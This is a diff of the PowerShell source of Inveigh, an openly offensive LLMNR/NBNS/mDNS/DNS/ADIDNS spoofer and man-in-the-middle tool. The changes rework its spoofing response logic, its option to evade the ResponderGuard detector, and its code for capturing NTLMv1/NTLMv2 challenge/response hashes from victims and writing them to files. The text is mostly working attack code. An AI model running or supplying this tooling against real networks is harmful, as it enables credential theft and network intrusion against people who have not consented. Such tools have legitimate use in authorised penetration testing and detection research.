+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $NTLM_type written to " + "Inveigh-NTLMv1.txt") > $null
}
if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")
@@ -5958,18 +5952,18 @@ $HTTP_scriptblock =
if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full"))
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLMv2 captured for $HTTP_username_full from $HTTP_source_IP($NTLM_host_string)`:$HTTP_source_Port`:") > $null
$inveigh.output_queue.Add($HTTP_NTLM_hash) > $null
}
else
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_username_full [not unique]") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLMv2 captured for $HTTP_username_full from $HTTP_source_IP($NTLM_host_string)`:$HTTP_source_Port`:`n[not unique]") > $null
}
if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")))
{
$inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) > $null
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLMv2 written to " + "Inveigh-NTLMv2.txt") > $null
}
if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_username_full")
@@ -6648,8 +6642,8 @@ function HTTPSListener
$RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument(
$Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument(
$SessionLimitUnpriv).AddArgument($SessionLimitShare).AddArgument($SessionPriority).AddArgument(
- $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument(
- $WPADResponse) > $null
+ $Target).AddArgument($TargetMode).AddArgument($TargetRefresh).AddArgument($Username).AddArgument(
+ $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null
$HTTPS_powershell.BeginInvoke() > $null
}
@@ -6673,8 +6667,8 @@ function ProxyListener
$RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument(
$Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument(
$SessionLimitUnpriv).AddArgument($SessionLimitShare).AddArgument($SessionPriority).AddArgument(
- $Target).AddArgument($Username).AddArgument($WPADAuth).AddArgument($WPADAuthIgnore).AddArgument(
- $WPADResponse) > $null
+ $Target).AddArgument($TargetMode).AddArgument($TargetRefresh).AddArgument($Username).AddArgument(
+ $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null
$proxy_powershell.BeginInvoke() > $null
}
@@ -7144,7 +7138,7 @@ Get relay session list.
foreach($ADIDNS_host in $ADIDNS_table_keys_temp)
{
- if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1)
+ if($inveigh.ADIDNS_table.$ADIDNS_host -ge 1)
{
Write-Output $ADIDNS_host
}
@@ -7339,7 +7333,7 @@ if($inveigh.tool -ne 1)
$inveigh.console_queue.RemoveAt(0)
}
- {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"}
+ {$_ -like "*spoofer disabled]" -or $_ -like "*local request]" -or $_ -like "* host header *" -or $_ -like "* user agent received *"}
{
if($ConsoleOutput -eq 'Y')
@@ -7351,7 +7345,7 @@ if($inveigh.tool -ne 1)
}
- {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"}
+ {$_ -like "*response sent]" -or $_ -like "*ignoring*" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy*request for *" -or $_ -like "*SYN packet*"}
{
if($ConsoleOutput -ne "Low")
@@ -7490,7 +7484,6 @@ function ConvertTo-Inveigh
$inveigh.session_message_ID_table = [HashTable]::Synchronized(@{})
$inveigh.session_lock_table = [HashTable]::Synchronized(@{})
$inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
- $inveigh.TCP_session_table = [HashTable]::Synchronized(@{})
$inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
$inveigh.group_table = [HashTable]::Synchronized(@{})
$inveigh.session_count = 0
diff --git a/Inveigh.ps1 b/Inveigh.ps1
index 11d823d..064ce00 100644
--- a/Inveigh.ps1
+++ b/Inveigh.ps1
@@ -2,16 +2,16 @@ function Invoke-Inveigh
{
<#
.SYNOPSIS
-This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS spoofer.
+This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer.
.DESCRIPTION
-This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS spoofer/man-in-the-middle tool with
+This function is a Windows PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer/man-in-the-middle tool with
challenge/response capture over HTTP/HTTPS/Proxy/SMB.
.PARAMETER ADIDNS
Default = None: (Combo/NS/Wildcard) List of ADIDNS spoofing attacks. Combo looks at LLMNR/NBNS requests and adds
a record to DNS if the same request is received from multiple systems. NS injects an NS record and if needed, a target record.
-this is primarily for the GQBL bypass for wpad. This attack can be used with Inveigh's DNS spoofer. Wildcard injects a wildcard record.
+This is primarily for the GQBL bypass for wpad. This attack can be used with Inveigh's DNS spoofer. Wildcard injects a wildcard record.
.PARAMETER ADIDNSACE
Default = Enabled: Enable/Disable adding an 'Authenticated Users' full control ACE to any added records.
@@ -32,7 +32,7 @@ Domain controller to target. This parameter is mandatory on a non-domain attache
The targeted forest in DNS format.
.PARAMETER ADIDNSHostsIgnore
-Comma seperated list of hosts that will be ignored with ADIDNS spoofing.
+Comma separated list of hosts that will be ignored with ADIDNS spoofing.
.PARAMETER ADIDNSNSTarget
Default = wpad2: Target for the NS attacks NS record. An existing record can be used.
@@ -77,12 +77,12 @@ This is primarily required for the ADIDNS NS wpad attack.
.PARAMETER DNSTTL
Default = 30 Seconds: DNS TTL in seconds for the response packet.
-.PARAMETER ElevatedPrivilege
+.PARAMETER Elevated
Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with
elevated privilege. If so, options that require elevated privilege can be used.
.PARAMETER EvadeRG
-Defauly = Enabled: (Y/N) Enable/Disable detecting and ignoring LLMNR/NBNS requests sent directly to an IP address
+Defauly = Disabled: (Y/N) Enable/Disable detecting and ignoring LLMNR/NBNS requests sent directly to an IP address
rather than a broadcast/multicast address. This technique is used by ResponderGuard to discover spoofers across
subnets.
@@ -117,19 +117,19 @@ Realm name for Basic authentication. This parameter applies to both HTTPAuth and
Default = text/html: Content type for HTTP/HTTPS/Proxy responses. Does not apply to EXEs and wpad.dat. Set to
"application/hta" for HTA files or when using HTA code with HTTPResponse.
-.PARAMETER HTTPDir
+.PARAMETER HTTPDirectory
Full directory path to enable hosting of basic content through the HTTP/HTTPS listener.
.PARAMETER HTTPDefaultFile
-Filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for
+Filename within the HTTPDirectory to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for
wpad.dat requests.
.PARAMETER HTTPDefaultEXE
-EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests.
+EXE filename within the HTTPDirectory to serve as the default HTTP/HTTPS/Proxy response for EXE requests.
.PARAMETER HTTPResponse
Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests.
-This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary.
+This parameter will not be used if HTTPDirectory is set. Use PowerShell character escapes and newlines where necessary.
.PARAMETER HTTPS
Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in
@@ -174,7 +174,7 @@ realm (e.g., TEST.LOCALhostwks1.test.local)
AES256 password hash that will be used to decrypt Kerberos TGT captures. This is not required if using KerberosCredential.
.PARAMETER KerberosHostHeader
-Comma seperated list of hosts that the HTTP/HTTPS/Proxy listener will compare to host headers. If a match is found, the
+Comma separated list of hosts that the HTTP/HTTPS/Proxy listener will compare to host headers. If a match is found, the
listener will attempt to negotiate to Kerberos.
.PARAMETER LogOutput
@@ -219,7 +219,7 @@ IP address to target for NBNS brute force spoofing.
Default = 165 Seconds: NBNS TTL in seconds for the response packet.
.PARAMETER NBNSTypes
-Default = 00,20: Comma separated list of NBNS types to spoof.
+Default = 00,20: Comma separated list of NBNS types to spoof. Note, not all types have been tested.
Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name
.PARAMETER OutputStreamOnly
@@ -231,11 +231,11 @@ yellow warning messages if enabled.
Default = Disabled: (File/Memory) Enable/Disable dumping packets to a pcap file or memory. This option requires
elevated privilege. If using 'Memory', the packets will be written to the $inveigh.pcap ArrayList.
-.PARAMETER PcapPortTCP
+.PARAMETER PcapTCP
Default = 139,445: Comma separated list of TCP ports to filter which packets will be written to the pcap file.
Use 'All' to capture on all ports.
-.PARAMETER PcapPortUDP
+.PARAMETER PcapUDP
Default = Disabled: Comma separated list of UDP ports to filter which packets will be written to the pcap file.
Use 'All' to capture on all ports.
@@ -274,20 +274,20 @@ direct targets to the host system's SMB server. Block TCP ports 445/139 or kill
prevent login requests from being processed by the Inveigh host.
.PARAMETER SpooferHostsIgnore
-Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS.
+Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS.
.PARAMETER SpooferHostsReply
-Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS.
+Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS.
.PARAMETER SpooferIP
IP address for ADIDNS/LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system
other than the Inveigh host.
.PARAMETER SpooferIPsIgnore
-Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS.
+Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS.
.PARAMETER SpooferIPsReply
-Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS.
+Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS.
.PARAMETER SpooferLearning
Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out
@@ -318,7 +318,7 @@ requests.
responding to those requests.
.PARAMETER StartupChecks
-Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup.
+Default = Disabled: (Y/N) Enable/Disable checks for in use ports and running services on startup.
.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
@@ -372,7 +372,7 @@ Execute with the stealthiest options.
.EXAMPLE
Invoke-Inveigh -Inspect
-Execute in order to only inpect LLMNR/mDNS/NBNS traffic.
+Execute in order to only inspect LLMNR/mDNS/NBNS traffic.
.EXAMPLE
Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N
@@ -396,8 +396,8 @@ param
[parameter(Mandatory=$false)][Array]$ADIDNSHostsIgnore = ("isatap","wpad"),
[parameter(Mandatory=$false)][Array]$KerberosHostHeader = "",
[parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox",
- [parameter(Mandatory=$false)][Array]$PcapPortTCP = ("139","445"),
- [parameter(Mandatory=$false)][Array]$PcapPortUDP = "",
+ [parameter(Mandatory=$false)][Array]$PcapTCP = ("139","445"),
+ [parameter(Mandatory=$false)][Array]$PcapUDP = "",
[parameter(Mandatory=$false)][Array]$SpooferHostsReply = "",
[parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "",
[parameter(Mandatory=$false)][Array]$SpooferIPsReply = "",
@@ -467,9 +467,9 @@ param
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferNonprintable = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y",
- [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y",
+ [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N",
- [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$ElevatedPrivilege = "Auto",
+ [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$Elevated = "Auto",
[parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM",
[parameter(Mandatory=$false)][ValidateSet("QU","QM")][Array]$mDNSTypes = @("QU"),
[parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"),
@@ -479,7 +479,7 @@ param
[parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM",
[parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 64})][String]$KerberosHash,
[parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "",
- [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "",
+ [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDirectory = "",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "",
@@ -500,7 +500,7 @@ if($invalid_parameter)
throw
}
-$inveigh_version = "1.5 Dev"
+$inveigh_version = "1.506"
if(!$IP)
{
@@ -565,7 +565,7 @@ if($ADIDNS)
if($HTTPDefaultFile -or $HTTPDefaultEXE)
{
- if(!$HTTPDir)
+ if(!$HTTPDirectory)
{
Write-Output "[-] You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE"
throw
@@ -674,14 +674,14 @@ if(!$inveigh.relay_running)
$inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt"
}
-if($ElevatedPrivilege -eq 'Auto')
+if($Elevated -eq 'Auto')
{
$elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
}
else
{
- if($ElevatedPrivilege -eq 'Y')
+ if($Elevated -eq 'Y')
{
$elevated_privilege_check = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
$elevated_privilege = $true
@@ -872,10 +872,10 @@ catch
#region begin startup messages
$inveigh.output_queue.Add("[*] Inveigh $inveigh_version started at $(Get-Date -format s)") > $null
-if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege)
+if($Elevated -eq 'Y' -or $elevated_privilege)
{
- if(($ElevatedPrivilege -eq 'Auto' -and $elevated_privilege) -or ($ElevatedPrivilege -eq 'Y' -and $elevated_privilege_check))
+ if(($Elevated -eq 'Auto' -and $elevated_privilege) -or ($Elevated -eq 'Y' -and $elevated_privilege_check))
{
$inveigh.output_queue.Add("[+] Elevated Privilege Mode = Enabled") > $null
}
@@ -982,7 +982,6 @@ if($DNS -eq 'Y')
else
{
$inveigh.output_queue.Add("[+] DNS Spoofer = Disabled") > $null
- $DNS_response_message = "[spoofer disabled]"
}
if($LLMNR -eq 'Y')
@@ -1003,7 +1002,6 @@ if($LLMNR -eq 'Y')
else
{
$inveigh.output_queue.Add("[+] LLMNR Spoofer = Disabled") > $null
- $LLMNR_response_message = "[spoofer disabled]"
}
if($mDNS -eq 'Y')
@@ -1034,7 +1032,6 @@ if($mDNS -eq 'Y')
else
{
$inveigh.output_queue.Add("[+] mDNS Spoofer = Disabled") > $null
- $mDNS_response_message = "[spoofer disabled]"
}
if($NBNS -eq 'Y')
@@ -1054,7 +1051,6 @@ if($NBNS -eq 'Y')
else
{
$inveigh.output_queue.Add("[+] NBNS Spoofer = Disabled") > $null
- $NBNS_response_message = "[spoofer disabled]"
}
if($NBNSBruteForce -eq 'Y')
@@ -1277,9 +1273,9 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
{
$inveigh.output_queue.Add("[+] HTTP/HTTPS Authentication = $HTTPAuth") > $null
- if($HTTPDir -and !$HTTPResponse)
+ if($HTTPDirectory -and !$HTTPResponse)
{
- $inveigh.output_queue.Add("[+] HTTP/HTTPS Directory = $HTTPDir") > $null
+ $inveigh.output_queue.Add("[+] HTTP/HTTPS Directory = $HTTPDirectory") > $null
if($HTTPDefaultFile)
{
@@ -1298,7 +1294,7 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
$inveigh.output_queue.Add("[+] HTTP/HTTPS Response = Enabled") > $null
}
- if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text')
+ if($HTTPResponse -or $HTTPDirectory -and $HTTPContentType -ne 'html/text')
{
$inveigh.output_queue.Add("[+] HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null
}
@@ -1418,7 +1414,7 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
if($Challenge)
{
- $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null
+ $inveigh.output_queue.Add("[+] HTTP NTLM Challenge = $Challenge") > $null
}
}
@@ -1502,7 +1498,7 @@ else
$inveigh.console_unique = $false
}
-if($FileOutput -eq 'Y' -or ($Kerberos -eq 'Y' -and $KerberosCount -gt 0) -or ($Pcap -eq 'File' -and ($PcapPortTCP -or $PcapPortUDP)))
+if($FileOutput -eq 'Y' -or ($Kerberos -eq 'Y' -and $KerberosCount -gt 0) -or ($Pcap -eq 'File' -and ($PcapTCP -or $PcapUDP)))
{
if($FileOutput -eq 'Y')
@@ -1515,14 +1511,14 @@ if($FileOutput -eq 'Y' -or ($Kerberos -eq 'Y' -and $KerberosCount -gt 0) -or ($P
{
$inveigh.output_queue.Add("[+] Pcap Output = File") > $null
- if($PcapPortTCP)
+ if($PcapTCP)
{
- $inveigh.output_queue.Add("[+] Pcap TCP Ports = " + ($PcapPortTCP -join ",")) > $null
+ $inveigh.output_queue.Add("[+] Pcap TCP Ports = " + ($PcapTCP -join ",")) > $null
}
- if($PcapPortUDP)
+ if($PcapUDP)
{
- $inveigh.output_queue.Add("[+] Pcap UDP Ports = " + ($PcapPortUDP -join ",")) > $null
+ $inveigh.output_queue.Add("[+] Pcap UDP Ports = " + ($PcapUDP -join ",")) > $null
}
}
@@ -1703,15 +1699,29 @@ $shared_basic_functions_scriptblock =
function Get-SpooferResponseMessage
{
- param ([String]$QueryString,[String]$Type,[String]$mDNSType)
+ param ([String]$QueryString,[String]$Type,[String]$mDNSType,[String]$Enabled,[byte]$NBNSType)
+
+ if($QueryString -like "*.*")
+ {
+ [Array]$query_split = $QueryString.Split('.')
+ $query_host = $query_split[0]
+ }
$response_type = "[+]"
- if($SpooferHostsReply -and $SpooferHostsReply -notcontains $QueryString)
+ if($Inspect)
+ {
+ $response_message = "[inspect only]"
+ }
+ elseif($Enabled -eq 'N')
+ {
+ $response_message = "[spoofer disabled]"
+ }
+ elseif($SpooferHostsReply -and ($SpooferHostsReply -notcontains $QueryString -and $SpooferHostsReply -notcontains $query_host))
{
$response_message = "[$QueryString not on reply list]"
}
- elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $QueryString)
+ elseif($SpooferHostsIgnore -contains $QueryString -or $SpooferHostsIgnore -contains $query_host)
{
$response_message = "[$QueryString is on ignore list]"
}
@@ -1719,59 +1729,58 @@ $shared_basic_functions_scriptblock =
{
$response_message = "[$source_IP not on reply list]"
}
- elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP)
+ elseif($SpooferIPsIgnore -contains $source_IP)
{
$response_message = "[$source_IP is on ignore list]"
}
- elseif($inveigh.valid_host_list -contains $query_string)
+ elseif($inveigh.valid_host_list -contains $query_string -and ($SpooferHostsReply -notcontains $QueryString -and $SpooferHostsReply -notcontains $query_host))
{
$response_message = "[$query_string is a valid host]"
}
- elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString)
+ elseif($SpooferRepeat -eq 'Y' -and $inveigh.IP_capture_list -contains $source_IP.IPAddressToString)
{
$response_message = "[previous $source_IP capture]"
}
- elseif($source_IP.IPAddressToString -eq $IP)
+ elseif($Type -eq 'NBNS' -and $source_IP.IPAddressToString -eq $IP)
{
- $response_message = "[local request ignored]"
+ $response_message = "[local query]"
}
- elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay)
+ elseif($SpooferLearning -eq 'Y' -or $SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay)
{
$response_message = ": " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts"
}
- elseif($Type -ne 'mDNS' -and $destination_IP.IPAddressToString -eq $IP)
- {
- $response_message = "[possible ResponderGuard request ignored]"
- $response_type = "[!]"
- }
elseif($Type -eq 'NBNS' -and $NBNSTypes -notcontains $NBNS_query_type)
{
$response_message = "[NBNS type disabled]"
}
- elseif($Type -eq 'NBNS' -and $QueryString.Trim() -eq '*')
+ elseif($Type -eq 'NBNS' -and $NBNSType -eq 33)
{
$response_message = "[NBSTAT request]"
}
+ elseif($EvadeRG -eq 'Y' -and $Type -ne 'mDNS' -and $Type -ne 'DNS' -and $destination_IP.IPAddressToString -eq $IP)
+ {
+ $response_message = "[possible ResponderGuard request ignored]"
+ $response_type = "[!]"
+ }
elseif($Type -eq 'mDNS' -and $mDNSType -and $mDNSTypes -notcontains $mDNSType)
{
$response_message = "[mDNS type disabled]"
}
- elseif(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -le $SpooferThresholdHost)
+ elseif($Type -ne 'mDNS' -and $Type -ne 'DNS' -and $SpooferThresholdHost -gt 0 -and @($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -le $SpooferThresholdHost)
{
$response_message = "[SpooferThresholdHost >= $(@($inveigh.request_table.$QueryString | Where-Object {$_ -match $source_IP.IPAddressToString}).Count)]"
}
- elseif(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count -le $SpooferThresholdNetwork)
+ elseif($Type -ne 'mDNS' -and $Type -ne 'DNS' -and $SpooferThresholdNetwork -gt 0 -and @($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count -le $SpooferThresholdNetwork)
{
$response_message = "[SpooferThresholdNetwork >= $(@($inveigh.request_table.$QueryString | Sort-Object | Get-Unique).Count)]"
}
- elseif($QueryString -notmatch '[^\x00-\x7F]+')
+ elseif($QueryString -match '[^\x00-\x7F]+')
{
$response_message = "[nonprintable characters]"
}
else
{
- $response_message = "[something went wrong]"
- $response_type = "[-]"
+ $response_message = "[response sent]"
}
return $response_type,$response_message
@@ -1788,6 +1797,16 @@ $shared_basic_functions_scriptblock =
$NBNS_query_type = "00"
}
+ '41-42'
+ {
+ $NBNS_query_type = "01"
+ }
+
+ '41-43'
+ {
+ $NBNS_query_type = "02"
+ }
+
'41-44'
{
$NBNS_query_type = "03"
@@ -1974,14 +1993,14 @@ $NTLM_functions_scriptblock =
function Get-NTLMResponse
{
- param ([Byte[]]$Payload,[String]$SourceIP,[String]$SourcePort,[String]$Port,[String]$Protocol)
+ param ([Byte[]]$Payload,[String]$Capture,[String]$SourceIP,[String]$SourcePort,[String]$Port,[String]$Protocol)
$payload_converted = [System.BitConverter]::ToString($Payload)
$payload_converted = $payload_converted -replace "-",""
$NTLMSSP_hex_offset = $payload_converted.IndexOf("4E544C4D53535000")
$session = "$SourceIP`:$SourcePort"
- if(($Protocol -Like "HTTP*" -or $NTLMSSP_hex_offset -gt 0) -and $payload_converted.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000")
+ if($NTLMSSP_hex_offset -ge 0 -and $payload_converted.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000")
{
$NTLMSSP_offset = $NTLMSSP_hex_offset / 2
$LM_length = Get-UInt16DataLength ($NTLMSSP_offset + 12) $Payload
@@ -1992,7 +2011,12 @@ $NTLM_functions_scriptblock =
$NTLM_response = [System.BitConverter]::ToString($Payload[($NTLMSSP_offset + $NTLM_offset)..($NTLMSSP_offset + $NTLM_offset + $NTLM_length - 1)]) -replace "-",""
$domain_length = Get-UInt16DataLength ($NTLMSSP_offset + 28) $Payload
$domain_offset = Get-UInt32DataLength ($NTLMSSP_offset + 32) $Payload
- $NTLM_domain_string = Convert-DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $Payload
+
+ if($domain_length -gt 0)
+ {
+ $NTLM_domain_string = Convert-DataToString ($NTLMSSP_offset + $domain_offset) $domain_length $Payload
+ }
+
$user_length = Get-UInt16DataLength ($NTLMSSP_offset + 36) $Payload
$user_offset = Get-UInt32DataLength ($NTLMSSP_offset + 40) $Payload
$NTLM_user_string = Convert-DataToString ($NTLMSSP_offset + $user_offset) $user_length $Payload
@@ -2004,97 +2028,135 @@ $NTLM_functions_scriptblock =
{
$NTLM_challenge = $inveigh.SMB_session_table.$session
}
- elseif($Protocol -Like "HTTP*")
+ else
{
$NTLM_challenge = $inveigh.HTTP_session_table.$session
}
-
+
if($NTLM_length -gt 24)
{
- $NTLMv2_response = $NTLM_response.Insert(32,':')
- $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response
- if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))
+ if($NTLM_challenge)
{
- $inveigh.NTLMv2_list.Add($NTLMv2_hash) > $null
- if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string"))
- {
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 challenge/response captured from $session($NTLM_host_string)`:") > $null
- $inveigh.output_queue.Add($NTLMv2_hash) > $null
- }
- else
- {
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 challenge/response captured from $session($NTLM_host_string)`:`n$NTLM_domain_string\$NTLM_user_string [not unique]") > $null
- }
+ $NTLMv2_response = $NTLM_response.Insert(32,':')
+ $NTLMv2_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLMv2_response
- if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")))
+ if($Capture -eq 'Y')
{
- $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) > $null
- $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 challenge/response written to " + "Inveigh-NTLMv2.txt") > $null
- }
- if($inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")
- {
- $inveigh.NTLMv2_username_list.Add("$SourceIP $NTLM_domain_string\$NTLM_user_string") > $null
- }
+ if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))
+ {
+ $inveigh.NTLMv2_list.Add($NTLMv2_hash) > $null
+
+ if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string"))
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:") > $null
+ $inveigh.output_queue.Add($NTLMv2_hash) > $null
+ }
+ else
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[not unique]") > $null
+ }
+
+ if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")))
+ {
+ $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) > $null
+ $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 written to " + "Inveigh-NTLMv2.txt") > $null
+ }
- if($inveigh.IP_capture_list -notcontains $SourceIP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $SourceIP -ne $IP)
+ if($inveigh.NTLMv2_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")
+ {
+ $inveigh.NTLMv2_username_list.Add("$SourceIP $NTLM_domain_string\$NTLM_user_string") > $null
+ }
+
